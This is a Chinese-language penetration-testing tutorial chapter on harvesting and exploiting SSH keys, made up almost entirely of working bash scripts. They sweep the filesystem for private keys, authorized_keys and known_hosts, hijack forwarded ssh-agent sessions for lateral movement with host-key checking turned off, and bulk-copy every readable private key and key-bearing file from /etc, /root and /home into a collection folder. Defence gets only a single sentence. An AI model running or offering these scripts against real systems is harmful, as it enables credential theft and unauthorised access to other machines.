SSH密钥收集与利用
章节概述
SSH 密钥是远程访问的核心认证方式。在渗透测试中,收集和利用 SSH 密钥可以实现免密码登录、横向移动和权限维持。本章系统性地讲解 SSH 密钥发现、authorized_keys 分析、ssh-agent 转发利用、known_hosts 分析以及密钥提取自动化。
核心理念
SSH 密钥泄露的本质是私钥文件的权限和位置不当。攻击者通过搜索文件系统中的私钥、利用 agent 转发、分析 known_hosts 来扩大攻击面。防御端需要严格控制私钥权限并禁用不必要的 agent 转发。
第1节 密钥发现
1.1 搜索 SSH 密钥文件
#!/usr/bin/env bash
# find_ssh_keys.sh - 搜索 SSH 密钥文件
set -euo pipefail
echo "[*] 搜索 SSH 密钥文件..."
# 搜索私钥文件
echo ""
echo "===== 私钥文件 ====="
find / -type f \( \
-name "id_rsa" -o \
-name "id_dsa" -o \
-name "id_ecdsa" -o \
-name "id_ed25519" -o \
-name "*.pem" -o \
-name "identity" \
\) 2>/dev/null | while IFS= read -r key; do
echo "[!] 发现私钥: $key"
echo " 权限: $(stat -c '%a %U:%G' "$key" 2>/dev/null)"
echo " 头部: $(head -1 "$key" 2>/dev/null)"
done
# 搜索公钥文件
echo ""
echo "===== 公钥文件 ====="
find / -type f -name "*.pub" -path "*/.ssh/*" 2>/dev/null | while IFS= read -r key; do
echo "[*] 公钥: $key"
echo " 内容: $(cat "$key" 2>/dev/null | awk '{print $1, $3}')"
done
# 搜索 authorized_keys
echo ""
echo "===== authorized_keys 文件 ====="
find / -type f -name "authorized_keys" 2>/dev/null | while IFS= read -r key; do
echo "[!] authorized_keys: $key"
echo " 权限: $(stat -c '%a %U:%G' "$key" 2>/dev/null)"
echo " 密钥数量: $(wc -l < "$key" 2>/dev/null)"
cat "$key" 2>/dev/null | awk '{print " " $1 " " $3}'
done
# 搜索 known_hosts
echo ""
echo "===== known_hosts 文件 ====="
find / -type f -name "known_hosts" 2>/dev/null | while IFS= read -r key; do
echo "[*] known_hosts: $key"
cat "$key" 2>/dev/null | awk '{print " " $1}'
done1.2 检查密钥权限
#!/usr/bin/env bash
# check_key_perms.sh - SSH 密钥权限检查
set -euo pipefail
echo "[*] 检查 SSH 密钥权限..."
find / -type f \( -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" -o -name "id_ed25519" \) 2>/dev/null | while IFS= read -r key; do
perms=$(stat -c '%a' "$key" 2>/dev/null)
case "$perms" in
600)
echo "[+] 权限正确: $key ($perms)"
;;
644)
echo "[!] 权限过于宽松: $key ($perms) - 可被其他用户读取"
;;
*)
echo "[?] 异常权限: $key ($perms)"
;;
esac
done第2节 authorized_keys 分析
2.1 authorized_keys 内容解析
#!/usr/bin/env bash
# analyze_authorized_keys.sh - 分析 authorized_keys
set -euo pipefail
AK_FILE="${1:-~/.ssh/authorized_keys}"
if [[ ! -f "$AK_FILE" ]]; then
echo "[-] 文件不存在: $AK_FILE"
exit 1
fi
echo "[*] 分析 authorized_keys: $AK_FILE"
echo " 权限: $(stat -c '%a %U:%G' "$AK_FILE" 2>/dev/null)"
echo " 密钥数量: $(wc -l < "$AK_FILE")"
echo ""
while IFS= read -r line; do
[[ -z "$line" ]] && continue
[[ "$line" =~ ^# ]] && continue
key_type=$(echo "$line" | awk '{print $1}')
comment=$(echo "$line" | awk '{print $NF}')
echo " 类型: $key_type"
echo " 注释: $comment"
# 检查命令限制
if echo "$line" | grep -q "command="; then
cmd=$(echo "$line" | grep -oP 'command="\K[^"]+')
echo " 限制命令: $cmd"
fi
# 检查来源限制
if echo "$line" | grep -q "from="; then
from=$(echo "$line" | grep -oP 'from="\K[^"]+')
echo " 来源限制: $from"
fi
echo ""
done < "$AK_FILE"第3节 ssh-agent 转发利用
3.1 检测 ssh-agent
#!/usr/bin/env bash
# check_ssh_agent.sh - 检测 ssh-agent 状态
set -euo pipefail
echo "[*] 检测 ssh-agent 状态..."
if [[ -n "${SSH_AUTH_SOCK:-}" ]]; then
echo "[+] SSH_AUTH_SOCK 已设置: $SSH_AUTH_SOCK"
if ssh-add -l 2>/dev/null; then
echo "[+] ssh-agent 中有可用密钥"
else
echo "[-] ssh-agent 中没有密钥"
fi
else
echo "[-] SSH_AUTH_SOCK 未设置"
fi
# 检查转发的 agent
echo ""
echo "===== 转发的 agent ====="
env | grep -i "SSH_" 2>/dev/null
# 检查 agent socket 文件
echo ""
echo "===== Agent Socket 文件 ====="
find /tmp -name "agent.*" -type s 2>/dev/null | while IFS= read -r sock; do
echo "[!] Agent Socket: $sock"
echo " 权限: $(stat -c '%a %U:%G' "$sock" 2>/dev/null)"
done3.2 利用 agent 转发
#!/usr/bin/env bash
# agent_exploit.sh - ssh-agent 转发利用
set -euo pipefail
TARGET="${1:?用法: $0 <目标IP>}"
USER="${2:-root}"
echo "[*] 尝试 ssh-agent 转发利用..."
# 方法1: 通过 SSH 连接并转发 agent
ssh -o ForwardAgent=yes -o StrictHostKeyChecking=no "$USER@$TARGET" '
echo "[*] 在目标机器上检查 agent..."
ssh-add -l 2>/dev/null && {
echo "[+] Agent 中有密钥,可以继续横向移动"
} || echo "[-] Agent 中没有密钥"
'
# 方法2: 使用 ssh-agent 桥接
# 在本地启动 agent 并转发
eval "$(ssh-agent -s)"
ssh-add ~/.ssh/id_rsa 2>/dev/null
ssh -o ForwardAgent=yes "$USER@$TARGET" '
ssh-add -l
# 使用 agent 中的密钥连接其他主机
# ssh -o IdentitiesOnly=no user@other_host
'第4节 known_hosts 分析
4.1 分析 known_hosts
#!/usr/bin/env bash
# analyze_known_hosts.sh - 分析 known_hosts 文件
set -euo pipefail
KH_FILE="${1:-~/.ssh/known_hosts}"
if [[ ! -f "$KH_FILE" ]]; then
echo "[-] 文件不存在: $KH_FILE"
exit 1
fi
echo "[*] 分析 known_hosts: $KH_FILE"
echo " 条目数量: $(wc -l < "$KH_FILE")"
echo ""
while IFS= read -r line; do
host=$(echo "$line" | awk '{print $1}')
key_type=$(echo "$line" | awk '{print $2}' | cut -d: -f2)
echo " 主机: $host"
echo " 密钥类型: $key_type"
echo ""
done < "$KH_FILE"第5节 密钥提取自动化
5.1 综合 SSH 密钥收集器
#!/usr/bin/env bash
# ssh_key_collector.sh - SSH 密钥自动化收集
set -euo pipefail
OUTPUT_DIR="${1:-/tmp/ssh_keys}"
mkdir -p "$OUTPUT_DIR"
echo "[*] === SSH 密钥自动化收集 ==="
# 1. 搜索私钥
echo ""
echo "===== 搜索私钥 ====="
find / -type f \( -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" -o -name "id_ed25519" \) \
-readable 2>/dev/null | while IFS= read -r key; do
cp "$key" "$OUTPUT_DIR/" 2>/dev/null && echo "[+] 已复制: $key"
done
# 2. 搜索包含密钥的配置文件
echo ""
echo "===== 搜索配置文件中的密钥 ====="
grep -rl "BEGIN.*PRIVATE KEY" /etc/ /root/ /home/ 2>/dev/null | while IFS= read -r file; do
cp "$file" "$OUTPUT_DIR/" 2>/dev/null && echo "[+] 已复制: $file"
done
# 3. 导出 ssh-agent 中的密钥
if [[ -n "${SSH_AUTH_SOCK:-}" ]]; then
echo ""
echo "===== 导出 agent 密钥 ====="
ssh-add -l 2>/dev/null | while IFS= read -r line; do
echo " $line" >> "$OUTPUT_DIR/agent_keys.txt"
done
fi
# 4. 分析结果
echo ""
echo "===== 收集结果 ====="
echo "输出目录: $OUTPUT_DIR"
ls -la "$OUTPUT_DIR/"